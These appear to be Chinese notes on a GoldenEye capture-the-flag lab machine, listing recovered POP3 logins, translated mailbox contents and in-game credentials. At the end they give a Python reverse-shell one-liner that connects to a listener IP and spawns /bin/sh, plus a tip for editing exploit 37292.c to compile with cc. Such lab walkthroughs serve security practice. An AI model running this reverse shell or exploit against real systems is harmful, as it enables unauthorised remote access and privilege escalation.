InvincibleHack3r

InvincibleHack3r

InvincibleHack3r

InvincibleHack3r

用户名

密码

Natalya

bird

Boris

secret1！

命令

命令解析

User 用户名

Pop3输入用户名

Pass 密码

Pop3 输入密码

List

列出所有邮件

Retr 数字

选择查看哪封邮件（类似于cat 某文件）

Boris邮箱

邮件序号

邮件内容

翻译

1

Return-Path: <root@127.0.0.1.goldeneye>

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from ok (localhost [127.0.0.1])

        by ubuntu (Postfix) with SMTP id D9E47454B1

        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)

Message-Id: <20180425022326.D9E47454B1@ubuntu>

Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)

From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.

网络:< root@127.0.0.1.goldeneye >

X-Original-To:鲍里斯

交付:boris@ubuntu

收到:从ok (localhost [127.0.0.1])

使用ubuntu(后缀)，SMTP id为D9E47454B1

<鲍里斯>;1990年4月2日星期二19:22:14 -0700 (PDT)

问题:< 20180425022326。D9E47454B1@ubuntu >

日期:1990年4月2日星期二19:22:14 -0700 (PDT)

来自:root@127.0.0.1.goldeneye

鲍里斯，我是管理员。你可以通过电子方式与同事和学生交流。我不会扫描电子邮件的安全风险，因为我相信您和这里的其他管理员。

2

Return-Path: <natalya@ubuntu>

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from ok (localhost [127.0.0.1])

        by ubuntu (Postfix) with ESMTP id C3F2B454B1

        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)

Message-Id: <20180425024249.C3F2B454B1@ubuntu>

Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)

From: natalya@ubuntu

Boris, I can break your codes!

网络:< natalya@ubuntu >

X-Original-To:鲍里斯

交付:boris@ubuntu

收到:从ok (localhost [127.0.0.1])

使用ubuntu(后缀)，ESMTP id为C3F2B454B1

<鲍里斯>;1995年4月21日星期二19:42:35 -0700 (PDT)

问题:< 20180425024249。C3F2B454B1@ubuntu >

日期:1995年4月21日星期二19:42:35 -0700 (PDT)

来自:natalya@ubuntu

鲍里斯，我能破解你的密码!

3

Return-Path: <alec@janus.boss>

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from janus (localhost [127.0.0.1])

        by ubuntu (Postfix) with ESMTP id 4B9F4454B1

        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)

Message-Id: <20180425025235.4B9F4454B1@ubuntu>

Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)

From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

网络:< alec@janus.boss >

X-Original-To:鲍里斯

交付:boris@ubuntu

接收:来自janus (localhost [127.0.0.1])

使用ubuntu(后缀)，ESMTP id为4B9F4454B1

<鲍里斯>;1995年4月22日星期三19:51:48 -0700 (PDT)

问题:< 20180425025235.4 b9f4454b1@ubuntu >

日期:1995年4月22日星期三19:51:48 -0700 (PDT)

来自:alec@janus.boss

鲍里斯,

你和我们的辛迪加合作会有大回报的。附件是黄金眼的最终访问密码。把它们放在这个服务器根目录下的一个隐藏文件中，然后从这封电子邮件中删除。这些访问代码只能有一组，我们需要保护它们以便最终执行。如果他们被捕获，我们的计划就会崩溃!

一旦Xenia进入训练地点并熟悉黄金眼终端代码我们将进入最后阶段....

注意安全，否则我们会受到威胁。

Natalya的邮箱

序号

邮件内容

翻译

1

Return-Path: <root@ubuntu>

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from ok (localhost [127.0.0.1])

        by ubuntu (Postfix) with ESMTP id D5EDA454B1

        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

Message-Id: <20180425024542.D5EDA454B1@ubuntu>

Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

网络:< root@ubuntu >

X-Original-To: natalya

交付:natalya@ubuntu

收到:从ok (localhost [127.0.0.1])

使用ubuntu(后缀)，ESMTP id为D5EDA454B1

< natalya >;1995年4月10日(星期二)19:45:33 -0700

问题:< 20180425024542。D5EDA454B1@ubuntu >

日期:1995年4月10日星期二19:45:33 -0700 (PDT)

来自:root@ubuntu

娜塔莉亚，拜托你别再破坏鲍里斯的密码了。另外，你是培训主管。一旦有学生指定给你，我会发邮件给你。

此外，要小心可能的网络入侵。我们有情报说黄金眼正在被一个叫雅努斯的犯罪集团追杀。

2

Return-Path: <root@ubuntu>

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from root (localhost [127.0.0.1])

        by ubuntu (Postfix) with SMTP id 17C96454B1

        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

Message-Id: <20180425031956.17C96454B1@ubuntu>

Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia

password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir

**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

网络:< root@ubuntu >

X-Original-To: natalya

交付:natalya@ubuntu

接收:从根主机(localhost [127.0.0.1])

使用ubuntu(后缀)，SMTP id为17C96454B1

< natalya >;1995年4月29日星期二20:19:42 -0700 (PDT)

问题:< 20180425031956.17 c96454b1@ubuntu >

日期:1995年4月29日(星期二)20:19:42 -0700(太平洋时间)

来自:root@ubuntu

好的，娜塔莉，我给你介绍一个新学生。由于这是一个新系统，如果你看到任何配置问题，请告诉我或boris，特别是与安全有关的问题……即使不是，只要在“安全”的幌子下输入它……它会毫不费力地升级变更顺序:)

好的，用户信用是:

用户名:xenia

密码:RCP90rulez !

鲍里斯证实了她是合法的承包商所以只要创建账户，好吗?

如果你在外部内部域名上没有网址:severnaya-station.com/gnocertdir

**请确保编辑您的主机文件，因为您通常在网络外远程工作....

因为你是一个Linux用户，只要把这个服务器的IP指向/etc/hosts中的severnaya-station.com即可

XeniaX与Dr Doak的通话

留言内容

留言翻译

09:24 PM: Greetings Xenia,

As a new Contractor to our GoldenEye training I welcome you. Once your account has been complete, more courses will appear on your dashboard. If you have any questions message me via email, not here.

My email username is...

doak

Thank you,

Cheers,

Dr. Doak "The Doctor"

Training Scientist - Sr Level Training Operating Supervisor

GoldenEye Operations Center Sector

Level 14 - NO2 - id:998623-1334

Campus 4, Building 57, Floor -8, Sector 6, cube 1,007

Phone 555-193-826

Cell 555-836-0944

Office 555-846-9811

Personal 555-826-9923

Email: doak@

Please Recycle before you print, Stay Green aka save the company money!

"There's such a thing as Good Grief. Just ask Charlie Brown" - someguy

"You miss 100% of the shots you don't shoot at" - Wayne G.

THIS IS A SECURE MESSAGE DO NOT SEND IT UNLESS.

晚上09:24:你好，Xenia，

作为金眼培训的新承包商我欢迎你。一旦您的帐户已完成，更多的课程将出现在您的仪表盘。如果你有任何问题，请发邮件给我，不要在这里。

我的邮箱用户名是…

doak

谢谢你！

欢呼,

多克博士"博士"

培训科学家-高级培训操作主管

黄金眼行动中心区域

级别14 - NO2 - id:998623-1334

第4校区第57栋第6区第8层第1007号立方

电话555-193-826

单元555-836-0944

办公室555-846-9811

个人555-826-9923

电子邮件:doak@

请在打印前回收，保持绿色，也为公司省钱!

“有一种东西叫‘好悲伤’。问问查理·布朗吧。

“你错过了百分之百的投篮，你不出手”-韦恩G。

这是一个安全的消息，不要发送它，除非。

Doak邮箱

邮件内容

邮件内容翻译

Return-Path: <doak@ubuntu>

X-Original-To: doak

Delivered-To: doak@ubuntu

Received: from doak (localhost [127.0.0.1])

        by ubuntu (Postfix) with SMTP id 97DC24549D

        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)

Message-Id: <20180425034731.97DC24549D@ubuntu>

Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)

From: doak@ubuntu

James,

If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak

password: 4England!

网络:< doak@ubuntu >

X-Original-To: doak

交付:doak@ubuntu

接收:来自doak (localhost [127.0.0.1])

使用ubuntu(后缀)，SMTP id 97DC24549D

对< doak >;1995年4月30日星期二20:47:24 -0700 (PDT)

问题:< 20180425034731.97 dc24549d@ubuntu >

日期:1995年4月30日星期二20:47:24 -0700 (PDT)

来自:doak@ubuntu

詹姆斯,

如果你正在阅读这篇文章，恭喜你已经走到了这一步。你知道谍报技术是怎么运作的吧?

因为我不知道。去我们的培训网站，登陆我的账号....继续挖，直到你能获取更多信息......

用户名:dr_doak

密码:4England!

Dr_doak

文本内容

文本翻译

007，I was able to capture this apps admin cr3ds through clear txt.Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.Something juicy is located here: /dir007key/for-007.jpg。Also as you may know, the Rcp-90 is vastly superior to any other weapon and License to Kill is the only way to play.

007，

我能够通过clear txt捕获这个应用程序管理cr3ds。GoldenEye服务器中的大多数web应用程序中的文本都会被扫描，所以我不能在这里添加cr3dentials。你可能也知道，Rcp-90比任何其他武器都要好得多，授权杀戮是唯一的玩法。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.230.131",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PS：代码中的IP地址输入的是要开启监听的机器的IP地址

我们在查看此机器时发现没有gcc，只存在cc那么我们要把37292.c  迷惑点

用vim或者vi或者gedit 37292.c

用vim 在143行把gcc改成cc